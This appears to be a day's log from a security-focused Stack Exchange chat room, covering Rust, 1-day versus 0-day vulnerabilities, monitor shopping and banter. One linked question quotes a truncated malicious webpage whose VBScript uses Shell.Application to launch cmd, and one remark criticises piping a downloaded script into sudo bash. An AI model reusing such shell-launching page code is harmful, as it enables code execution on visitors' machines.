« first day (1438 days earlier)   

12:12 AM
I know it's probably a bit late, but I was busy being asleep having the most depressing dream.
 
1:12 AM
@ManishEarth Ah I see. I'm still wrapping my head around ownerships and lifetimes but it's interesting so far... :)
@CodesInChaos There's always vim. ;)
 
1:31 AM
@TerryChia :)
 
I need something to write in Rust to learn it properly though...
Maybe i'll try writing a lisp interpreter.
 
@TerryChia How about a browser?
 
@TerryChia Servo!
@DavidFreitag that's what I'm doing
 
@ManishEarth I know :)
 
@ManishEarth Nah, not a good idea for me to jump straight from "reading language guide" to "contributing towards biggest project written in the language". :)
 
1:34 AM
@TerryChia we have easy bugs
useful links
 
@ManishEarth Nah, I'd prefer completing smaller personal projects first. :)
 
@TerryChia also, #rust-crypto on irc.mozilla.org exists
 
@ManishEarth Which is the preferred style? let x: int = 5 or let x = 5i?
 
I actually have a way of fixing XSS in Rust
@TerryChia if you can has type inference, you will has type inference
Basically, use the compile-time plugin architecture to generate context-aware substitution structs for templates
So <a href="{{my.url}}">{{my.text}}</a> will ensure that the url is a Url object, and the text is a SafeString or something
at compile time
 
1:40 AM
Superficially the syntax of Rust really reminds me of Python.
I like the functional aspects it has as well.
@ManishEarth Can you poke someone to get crates.io on https?
 
@TerryChia it isn't?
 
Or even rust-lang.org.
@ManishEarth Nope.
 
The binaries are, at any rate
@TerryChia it is for me
specific link?
 
@TerryChia I have crates.io on https..?
 
@ManishEarth @DavidFreitag Hmm, it seems HTTPS is disabled on Chrome?
 
1:51 AM
@TerryChia I'm using chrome?
Are you using https everywhere?
 
Oh, crates.io is on HTTPS. docs.crates.io isn't.
 
rust-lang.org isn't https, though.
 
@DavidFreitag Yup.
In any case, a HTTP page telling me to wget a bash script and pipe it to sudo bash doesn't inspire confidence.
 
Man Helix is getting super weird. It's almost like a new lost.
 
@ManishEarth You know what Rust needs? List comprehensions. ;)
 
1:59 AM
@TerryChia [x^2 for x in range(0,5)] can be written as range(0,5).iter().map(|x| x^2) and if you want [x^2 for x in range(0,5) if x != 2], range(0,5).filter_map(|x| {if x == 3 {None} else {Some(x^2)}})
 
@ManishEarth Yeah, but that's ugly. :P
List comprehensions are neat because they can replace filter, map and reduce.
I actually dislike the need to explicitly call .iter() on an array before looping through it.
Pattern matching is the awesomest thing I have come across in Rust so far.
 
@TerryChia :D
we also have a kickass plugin system
arbitrary compile time expansions and warnings
 
The package manager is neat as well, I see inspirations from Bundler.
 
 
2 hours later…
4:17 AM
maaaan 'dat season finale
 
 
1 hour later…
5:18 AM
@DavidFreitag The link doesn't work, it says you have to be logged in.
 
@Simon So make an account?
 
@DavidFreitag Why does life have to be so complicated?
 
@Simon It's not, you donut.
 
@DavidFreitag True, I actually found it. Hooray.
Do you still have invites? Is it for the 16 or 64?
 
@Simon iirc its pretty much everyone but verizon
@Simon I'm pretty sure that because I got a preorder I dont get invites. In any case I don't have any. I'd hit up @Rory
 
5:30 AM
Oh ok, thanks anyway.
OLD MAN, do you have 64 gb invites? ^_^
 
@Simon its too bad you missed the last preorder nine days ago
 
5:41 AM
hey all!
a) I only see one explicit-connotations based joke on the starwall. for shame.
b) anyone willing to bounty and/or answer this question?
1
Q: What are the compatibility implications of generating a new TLS key?

strugeeThe guide I'm following says to use openssl genrsa to generate a TLS key, which I did. I've changed the CSR generation command to use SHA256 instead of SHA1, but I'm still not sure if this is the optimal solution. The oldest clients I would like to support are Windows XP with SP3 (cries) and An...

alternately, how can I improve it?
 
@strugee Oh no, there are plenty of euphemisms in there.
 
@DavidFreitag I've been away too long.
the only one I see is the 15 inches one
 
yesterday, by Iszi
@ThomasPornin I think that's the size of my laptop's display. And I do have a rather large "trunk"...
 
^ and that?
 
unless you have a PHP-and-programming-standards fetish...
@TerryChia I'm on a laptop
must not be big enough
2
/me waits
 
5:45 AM
@strugee There we go.
 
theeeere we go
 
@strugee you obviously don't know that a "oneplus one invite" really is
 
@DavidFreitag clearly
 
Anyone with a spare 90 minutes should watch the "DamNation" documentary on netflix.
 
5:47 AM
I was just thinking that I would go read all my starred posts in the DMZ to feel special and then I thought to myself, "why would that make me feel special? it's the DMZ"
 
Amazon manages < 2ms latency between their availability zones.
 
> Let’s do some math here. Assume that AWS had 28 availability zones with one datacenter each with only 50,000 servers each.
only.
 
@TerryChia seriously? whistles
 
> The AZs are usually under 1 millisecond apart in terms of latency and are always less than 2 milliseconds apart; this speed is what allows for synchronous data replication, since committing data to a solid state drive takes – wait for it – between 1 and 2 milliseconds.
That's hella impressive.
 
@strugee size does matter, and there's such a thing as too big.
3
 
6:31 AM
@JourneymanGeek I hope you're not trying to make a legitimate point because it sailed straight over my head
 
Hardly. no ;p
 
6:44 AM
@JourneymanGeek ok, good
 
 
3 hours later…
9:43 AM
@Simon oi, I aint no hipster!
 
@AviD Have you written Node.JS/Ruby/Kotlin code on your Macbook today?
 
@TerryChia not today, no. I did last week though.
was writing some plugins for discourse.
 
@AviD Hipster.
@AviD Hipster x2.
 
nope, dont even have the macbook anymore.
besides, @RоryMcCune says that Ruby isnt hipster anymore.
 
@AviD Yeah, we all know that @RоryMcCune is the authority on all things hipster.
 
9:47 AM
Ruby used to be hipster when @RоryMcCune started writing in it, but then all the wannabe-hipsters jumped on it.
 
9:58 AM
Geez. This guy had me worried for a second.
1
Q: Arbitrary code execution by opening a webpage by IE?

user61258I came across this piece of HTML code today: <!doctype html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > <head> </head> <body> <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "cmd", "/c ...

Still, pretty nasty vulnerability.
 
@Iszi Indeed. Good ol' IE.
 
Pretty harsh one to be non-patchable for XP too.
 
Damn you Anthony Bordain.
Go home me, you're drunk
 
@Iszi Honestly I think 1-day vulns are more dangerous than zero days.
 
@TerryChia How's that?
 
10:14 AM
@Iszi An individual or even a small to mid sized organization will probably face more threats utilizing 1-day vulns rather than 0-days.
 
@TerryChia Ok, so they're more widely used. But how are they inherently more dangerous?
 
@Iszi The sheer number of people with access to them?
 
That has nothing to do with the vulnerability itself.
 
@Iszi More dangerous because more systems will get owned by it because more widely known.
 
Just because more systems will be pwned doesn't mean the vulnerability is more dangerous. More peoples own handguns than bazookas, but which one would you rather have aimed in your direction?
 
10:22 AM
@Iszi @TerryChia I think we can forgive @Iszi for his line of reasoning, it's after 4AM and clearly he is deep in his weekend drinking.
 
@Iszi That statement makes exactly zero sense. I'm not discussing the impact of a specific vulnerability.
 
At least for 1-days, there's generally a publicly available fix or other remediation options that you can have applied before you come under attack. Zero-days, you have no such chance.
@AviD You're off by an hour. After 5 AM.
And don't I wish.
Fridge is dry, and payday isn't until later next week. Or this week, as it were.
 
@Iszi but since the small-midsized orgs that @TerryChia was talking about are not likely to have patched within 1 day (or even a month), the probability of being attacked via a vulnerabilitiy they are still vulnerable to is much MUCH higher for the 1-day.
@Iszi still "after".
@TerryChia glad to see that military service hasn't burnt out your braincells.
yet.
 
@AviD Heh.
 
@AviD The probability of a vulnerability being used is a bit different than "how dangerous" it is.
 
10:27 AM
I'm pretty sure there are still servers out there vulnerable to heartbleed.
 
@Iszi huh what now?
 
Again, I'm more likely to be shot then blown up - but the latter is a bit more painful.
And more difficult to defend against.
 
@Iszi You are thinking from the point of an individual organization.
If you look at the bigger picture (number of systems owned by 1-day vs 0-days) 1-day vulns come out way on top.
 
@Iszi here's what you need to do RIGHT NOW:
1. bookmark that comment.
2. Go to sleep.
3. wake up in the morning and admit how tired / drunk you were when you wrote that.
 
@TerryChia I'm not sure how that matters. What's going to affect the world more, everyone being hit by a bullet or everyone being hit by a bomb?
 
10:29 AM
@Iszi how many get hit by a bullet on an average day, vs. how many get hit by a bomb?
 
@Iszi See, 0-days don't get used on everyone so that analogy is incorrect.
 
Morning master debaters
 
@AviD That doesn't make the bullet more dangerous. Just means it's more likely.
 
@Simon sorry, my one plus invites went.
 
@RoryAlsop heh, oh what was the name of that show?
 
10:30 AM
@Iszi I second @AviD. You need sleep.
 
@TerryChia Oh, I'll not argue that point. But my cognitive functions are working just fine, thanks.
 
I need sleep - we were looking after a friends 9 month old last night. You forget how much they wake up needing a bottle...
Every 2 hours
 
@Iszi "dangerous" is not just "impact"
@RoryAlsop heh.
 
The upside: SWMBO now agrees that she doesn't want any more - which is nice
 
At any given time, a vulnerability either can or cannot be exploited on your system. Whether that happens is entirely within your control for 1-days, and entirely outside of your control for 0-days. I'm still not seeing your point.
Moving along. This looks like it could be a useful question, but it's mostly link-reliant crap right now and I'm not in the mood to mess with it. Anyone else wanna have a whack?
 
10:47 AM
@AviD tru 'dat when I started on rails it was version 1.2
@RoryAlsop \o/
 
@RоryMcCune so you were using it even before it was popular with all the hipsters?
 
@AviD yeah those pretend hipsters, pshh
 
@Iszi Is there a question there?
 
@AviD but now the Sec.SE hipster crown has passed to you :)
 
@RоryMcCune nah, not really
hipster is too hipster for me
 
10:56 AM
@AviD dunno tho' you've read Node.JS stuff recently I'll wager
 
I'm back to real software engineering, getting up to speed on the latest .NET versions and whatnot
 
@AviD s/real/enterprise?
 
@RоryMcCune not recently, but I have learned it a bit :-S
 
@AviD ah well that's better, you can try out the cool new open source .NET stuff
 
@TerryChia s/real/not-hipster-bubble/
 
10:58 AM
@AviD I dunno... I think you should move to academia next. I hear Haskell is pretty spiffy.
 
@RоryMcCune yeah, I think some of that is pretty awesome.
@TerryChia heh.
I doubt academia pay well enough.
nor mess with interesting enough problems.
 
@AviD BTW are your lot starting some new software security community?
OWASP-next or something
 
"my lot"?
 
@AviD But you get to mock the uninformed masses for using imperative programming languages...
 
@AviD sourceclear
 
11:00 AM
yeah, they had a big industry meeting last week - not sure how much of that is NDA though, I assume you are tracking tweets :-)
@RоryMcCune ah, not mine anymore
 
@AviD Huh.
 
@AviD huh?
 
@TerryChia so who wants to even mess with the uninformed masses? I prefer incredibly smart people.
 
Welp, I'll be back to mock you guys on Friday. o/
 
11:01 AM
@RоryMcCune yeah, the stuff he was talking about makes a ton of sense. kinda what I've been saying for years, but he has the momentum to do something about it.
@RоryMcCune you missed that then... I left them last week.
too hipster for my blood.
 
@AviD ahh sorry to hear that you back freelancing or on to another gig?
 
@RоryMcCune havent decided yet.
 
@AviD yeah tricky choice, I'm still seeing upsides and downsides in the choices
 
gonna take some time to figure out why it wasnt good for me, and what I should be looking for.
will pick up some freelancing projects in the meantime.
 
@AviD there's a lot about at the moment I think. I'm getting recruiters cold-emailing me at the moment which is novel
 
11:04 AM
oh yeah, I have some stuff lined up.
might take a bit to get it set up, but its there in the pipeline.
I constantly get recruiter email + linkedin. I dont consider it promising though....
 
@AviD cool :)
@AviD well it shows the industry is busy, although yeah I'd never go via a recruiter these days
 
definitely dont want to go back to consulting longterm though.
 
@AviD heh I know what you mean.. I feel like I'm playing the role of the grumpy old consultant these days :op
 
"playing"....? ;-)
 
@AviD thanks for that , hey I'm not @RoryAlsop you know
 
11:07 AM
hehehe
anyway, it wasn't doing good for me. dunno if it was the overt hipsterishness, the remote situation (1.5 days off the team's schedule), or a communication problem (probably all 3), but it just wasnt working well for me, I wasnt enjoying it.
okay, different topic - wife/family's monitor seems to have burnt out. Well, it was a (late model) CRT, so it had a few years on it....
anyway need to buy a new one, 23/24 ". any suggestions?
all the research and details I've done were for 27", I dont know what a 23" should have!
 
@RоryMcCune Hey - I'm not grumpy
 
@RoryAlsop even sleep deprived with a baby?
 
@RоryMcCune Even then :-)
 
@AviD yeah remotes are tricky especially in other countries!
 
actually I dont think the remote itself was the problem, as much as the timezone difference.
 
11:13 AM
@AviD yoinks been a while since I've had to monitor shop (my 27 is holding out quite well for a korean knock-off)
 
its 10 hours + sunday/friday divide, which means I am FAR off the team.
@RоryMcCune oh yeah, mine too
I would definitely do that again
 
@AviD ah I've not had too much of that . The missus used to but with her everyone was scattered round the world, so people were used to it...
 
but I think 23" is cheap enough here
 
@AviD yeah I'll be interested to see when the 4k/5k knock offs turn up
 
@RоryMcCune ooo I should get one of those
s/one/three/
 
11:14 AM
@AviD yeah I'd need to get a PC to do that as I'm pretty sure none of my laptops would be able to drive a 5k
but the idea of that + elite-dangerous
weill if I had the kind of free time required that would be awesome
 
@RоryMcCune hmm. Downside to SurfacePro...
 
@AviD and indeed most portables.. even the ones with discrete graphics tend to have trouble driving really big monitors..
 
time to upgrade the screencard!
curious if it would make a difference if one were to connect the surface via RDP to a VM running with RemoteFX...
uhh no that wouldnt work because you would still only have the single monitor to display on
nevermind
 
@AviD heh
 
@Iszi tired drunkenness must have affected me.
so is 1920x1080 the right resolution for 23/24", or is that too low?
 
11:21 AM
@AviD I think that's about right, higher than that and I'm not sure you'd see the difference...
 
really? Because that would totally suck on a 27"
 
@AviD well just an opinion but would you really see it at 2560x1440 on a 23"?
 
I dunno
I guess thats probably too high
I mean, it wouldnt be for me, but for the wife an kids
 
that said, will you get a 2560x1440 or similar res in a 23
 
nah, prbably not
 
11:24 AM
actually some of the 4k monitors are cheaper than I was expecting even in ordinary uk stores
 
the higher res's I'm seeing are 1920x1200 and 2560x1080
for 23/24"
 
@AviD ooh 2560x1080 must be a weird aspect ratio
 
@RоryMcCune yeah, I'm guessing that might have been 2650x1800 typo
still a bit weird
 
but compared to that there were 91 models at 24" all with 1920x1080
so I get the feeling that's the defacto res.
 
yeah, but when I was shopping for 27" thats what I found the most of.
 
11:26 AM
looks like 27" is the place it steps up
 
doesnt mean it is appropriate to buy.
 
so, what, should I just buy the cheapest one I can find?
as long as it is IPS, decent contrast / response, correct output connections, decent speakers, etc
 
@AviD well depends what you want it for I guess, but they seem pretty commodity these days I generally find a product that looks reasonable then search for reviews :)
then if they say "get x instead" I look at x
 
I admit I am a lot pickier for myself
 
11:29 AM
@AviD ofc
 
I also spend a lot more hours in front of it, and use it a lot heavier
huh, just saw a 4K on sale here, in 23.8" form.
I would have thought they only come in bigger sizes...
actually black friday week is probably the best time to go tech shopping. :-)
 
@AviD good call
 
got lucky :-)
 
Problem with the 4k and 5k monitors isn't the graphics card. It's the display connector.
The latest DP spec doesn't have enough bandwidth to drive a 5k.
@AviD Just get a Dell? 23" ones are pretty decently priced.
 
@TerryChia why dell, and not e.g. LG or MAG? 20% cheaper.
looks like the same specs.
(well, except for the Dell 4K.)
or even a non-brand-name brand.
 
11:34 AM
Ah 20% that much? They are pretty similarly priced here.
 
even the samsung looks to be a bunch cheaper
but then it depends on which site
well thats why I'm asking, is there something special about the dell?
 
Nope. Just an overall solid product.
 
I havent actually been able to find any difference between any of them, besides the brand name
(not including the edge products)
@TerryChia speaking of which, I give approval to Apple monitors too.
 
The 23" monitors around here are about the same price so I'd just get a dell.
 
yknow, IF you're on apple hardware.
 
11:38 AM
@AviD Yeah, they are excellent but only 27" and a bit pricey.
 
true.
 
They make for a good dock + monitor though.
I think they connect through TB.
 
yeah. also builtin monitor chaining, which is cool.
huh, why is amazon showing me 22" monitors?
who in hell buys a 22" monitor??
that size is just wrong.
 
@AviD When is black friday anyway - I thought it was a week ago, but was told I was wrong
 
@RoryAlsop its the day after Thanksgiving
Shuddup @Simon, I mean REAL thanksgiving
which is this thursday
turkeyday
 
11:44 AM
@AviD cool - ta.
 
11:59 AM
@AviD poor students :p
 
@JourneymanGeek no, but 22" makes no sense.
 
I have a 20 inch 1280 x 800 at the moment.
 
21", fine if you are on a tight budget. 23/24" if you are on a semi-tight budget or want a 3rd side monitor.
but 22"? makes no sense.
 
@JourneymanGeek yikes
 
@RоryMcCune go ahead, say it
"my tablet is bigger than that"
 
12:09 PM
@AviD 22" or 1280x800?
 
hell my cellphone has a higher res, even though its much smaller
 
sure as heck ain't 22"+
 
heh
so interestingly, it turns out that for the smaller monitors - 23 and 24" - it doesn't pay to ship from overseas, e.g. Korea.
 
@AviD anyway it's a trade-off, I traded the delights of fatherhood for more tech :op
 
I do need another 27", but thats later. for now, I will be buying the 23/24" locally.
@RоryMcCune ha, lolwat?
hmm, maybe I should just get 2x24"...
 
12:11 PM
@AviD I got the impression you were implying that I had a lot of tech which I do :)
@AviD dunno I think there's diminishing returns from more monitors
 
@RоryMcCune true, but where did the fatherhood bit jump in....
@RоryMcCune it depends on usage style.
I think 2 smaller side ones still make good sense.
 
@AviD well it's the reason I have more tech :) if I had kids I wouldn't have the cash for it...
 
more than that - its just for gaming.
or operations centres.
especially with my heavy use of multi-VMs.
 
@AviD true more physical monitors is better for VMs
 
can leave a VM open on the side e.g. just to watch a movie while working
or watch the DMZ while working
or watch work while DMZing
 
12:14 PM
I do like the idea of a potrait mode monitor for doc/report reading tho'
 
12:41 PM
lol
I have a 10 incher as a spare ._.
5
@AviD: Its one of the first things I'm upgrading when I get a job
 
1:19 PM
@JourneymanGeek The ladies must love you.
 
@TerryChia: size does matter
I basically got the 10 inch screen cause its got awesome pixel density, was cheap, and had composite, HDMI and VGA in
 
@JourneymanGeek is it an iPad?
 
@JourneymanGeek The part that shocked me was having a spare. ;)
 
1:36 PM
@AviD: no, its a bare screen with a controller.
@TerryChia: True. Not everyone has a use for more than one ;p
Its one of these
 
ah thats actually kinda cool
 
I have the controller board in a hacked up floppy drive case for now
 
1:59 PM
I basically have SE chat and my KVM host on that system
 
2:16 PM
This looks suspicious: aliexpress.com/item/…
A 13.3" laptop with 4 GB RAM and a 128 GB SSD, for 45 USD...
 
Is that supposed to be in russian?
 
It is referenced from a seller in "mainland China" who has no feedback score. He apparently sells a lot of laptops in the 40-80 USD range.
 
2:31 PM
wow, what crap questions on the site lately.
 
I blame you not being here :-)
 
2:49 PM
heh, sure, everything is MY fault ;-)
2
 
 
1 hour later…
4:06 PM
@AviD aaand pinned :op
 
4:35 PM
@DavidFreitag Damn it.
@RoryAlsop DAMN IT.
 
@Simon :-)
 
@Simon don't tell me you were too slow...
 
@RоryMcCune I did leave the notice up for a couple of days
 
@RoryAlsop indeed I just unpinned it, he had loads of time!
 
@RоryMcCune Oh yeah - thanks for that. I would have realised I needed to unpin it eventually
 
4:39 PM
@RoryAlsop well I try to keep pins down to two or three and I couldn't let @AviD 's admission go unpinned :op
 
we can probably unpin the hat dash query now... many yesses, one no :-)
 
@RoryAlsop and the no was @AviD being a grinch!
 
@RоryMcCune :-)
 
 
2 hours later…
7:01 PM
@RоryMcCune I got to talk about it to my lady yesterday, that's why :(
 
@Simon ah well console yourself with the fact that I'll bet the one plus two is nearby and you can wait for that :)
 
@RоryMcCune I bet all of this is a lie.
 
Yes, exactly like the cake.
 
7:15 PM
@AviD Yes. "Given known dependencies for a program, or a known list of applications installed on a system, how can I efficiently search NVD or similar databases for vulnerabilities affecting me?"
 
 
2 hours later…
9:12 PM
@RoryAlsop considering your answer here diy.stackexchange.com/questions/25700/…
I got two floors
one detector
I have a gas water heater in my living room
where do I put my CO detector considering there are no doors on any floor (it's all open) and also no doors between the floors?
floor I or floor II?
 
9:36 PM
The recommendation appears to be both, but if you only have one then go for the floor you sleep on
 
10:19 PM
@LucasKauffman neither #Yolo!
 
10:40 PM
@RoryAlsop I'll order a second one then
how fast does CO kill you anyway?
 
11:26 PM
0
Q: Public proof that I knew something at a given time without revealing it

Ciro SantilliI have found a few vulnerabilities that I want to sell (legally!). In case they get publicly revealed before I manage to sell them, I want to be able to prove that I knew about them before that for bragging rights. I am currently considering the following system (if you see a better alternative...

 

« first day (1438 days earlier)